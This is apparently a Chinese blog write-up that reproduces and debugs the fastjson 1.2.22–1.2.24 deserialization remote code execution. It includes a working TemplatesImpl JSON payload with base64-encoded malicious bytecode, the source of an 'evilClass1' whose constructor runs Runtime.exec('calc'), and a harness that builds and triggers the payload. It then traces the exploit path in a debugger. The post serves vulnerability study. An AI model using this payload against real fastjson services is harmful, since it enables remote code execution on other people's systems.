• fastjson1.2.22-1.2.24 反序列化命令执行实践测试


    首先创建一个spring boot的项目

    pom.xml因为fastjson 依赖

    <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.22</version>
            </dependency>
    

      user entity

    public class User {
        private String username;
    
        public void setUsername(String username) {
            this.username = username;
        }
    
        public String getUsername() {
            return username;
        }
    }
    

     

    正常反序列化时这样的:

    String text="{"@type":"com.example.fastjsonrce.entity.User","username":"xiaochuan"}";
    Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
    User myUser=(User)obj1;
    return myUser.getUsername();
    

      

     当payload换成:

    String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvbW9jbi9tYWxsL2NvbW1vbi91dGlsL1BvYzsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACFBvYy5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAHGNjL21vY24vbWFsbC9jb21tb24vdXRpbC9Qb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADQAEAA4ADQAPAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAGAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}";
    

      即可触发命令执行

    测试发现代码中

    Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);

    参考这位大佬的分析文章,跟进调试一遍。

    首先poc的内容

    package ka1n4t.poc;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
    
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
    
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public evilClass1() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    
        public static void main(String[] args) throws IOException {
            evilClass1 helloworld = new evilClass1();
        }
    }
    

      

    package ka1n4t.poc;
    
    import org.apache.commons.io.IOUtils;
    import org.apache.commons.codec.binary.Base64;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    public class vulApp1 {
    
        public static String readClass(String cls){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos);
            } catch (IOException e) {
                e.printStackTrace();
            }
    
            String result = Base64.encodeBase64String(bos.toByteArray());
    
            return result;
        }
    
        public static void bad_method() {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            String evil_path = "D:\Java-App\fastjson-1.2.22\target\classes\ka1n4t\poc\evilClass1.class";
            String evil_code = readClass(evil_path);
    
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            String text1 = "{"@type":"" + NASTY_CLASS +
                    "","_bytecodes":[""+evil_code+""]," +
                    "'_name':'a.b'," +
                    "'_tfactory':{ }," +
                    ""_outputProperties":{ }}
    ";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        }
    
        public static void main(String args[]) {
            bad_method();
        }
    
    }
    

      

    分析poc是在反序列化过程时,反序列化的TemplatesImpl类,其中_bytecodes是关键的代码,其值是base64后的evilClass1.class字节流,我的理解是在反序列化过程时,_bytecodes中的内容被实例化,从而执行了构造函数中的命令执行。如果不对的话,还请大神指正,十分感谢

    接下里尝试调试

    首先漏洞触发在fastjson的FieldDeserializer类中。

    通过java的反射机制,实际执行的是

    public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

    这是java官方类库,所以Force Step Into 强制进入,之后Step Over (F8),一步步之后操作。

    先进入invoke

    然后进入TemplatesImpl.getOutputProperties(),注意在该函数下打个断点

     进入这个函数可以看到调用了newTransformer(),它应该会返回一个实例,是官方内部函数,(Force Step Into):Alt + Shift + F7进去看看

     可以看到的是其返回一个transformer实例,在实例化时调用了getTransletInstance函数。(Force Step Into):Alt + Shift + F7进去看看

    这里可以看到运行了一个defineTransletClasses()返回给_class

    主要来看defineTransletClasses()是如何创建出poc中的恶意类的。

    首先是实例化了一个TransletClassLoader 类型的loader

     这是TemplatesImpl下的TransletClassLoader类,等等再分析

    可以看到在经过_class[i] = loader.defineClass(_bytecodes[i]);后,_class[i]还原成功了class cc.mocn.mall.common.util.Poc,

    回到getTransletInstance函数,经过defineTransletClasses()后,_class中已经有了我们的恶意类

    最后通过newInstance()实例化,从而执行构造函数中的命令执行。

    回头看看TransletClassLoader

     可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0]

     所以最后就是_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload

    以上是根据大神们的分析思路,加入了一些自己的理解,如果有不正确的地方,还请指正,十分感谢

  • 相关阅读:
    ssh访问控制,多次失败登录即封掉IP,防止暴力破解
    经常用到的一些命令行
    自定义控件
    委托线程三部曲(引用)
    关于委托
    三个调用的例子(转)
    同一网段的两台电脑通信(转)
    SOCKET原理(转载)
    C#winform和百度API互动-----之JS读取中C#中的函数
    C#winform和百度API互动-----之读取中js的参数
  • 原文地址:https://www.cnblogs.com/fczlm/p/14297477.html
Copyright © 2020-2023  润新知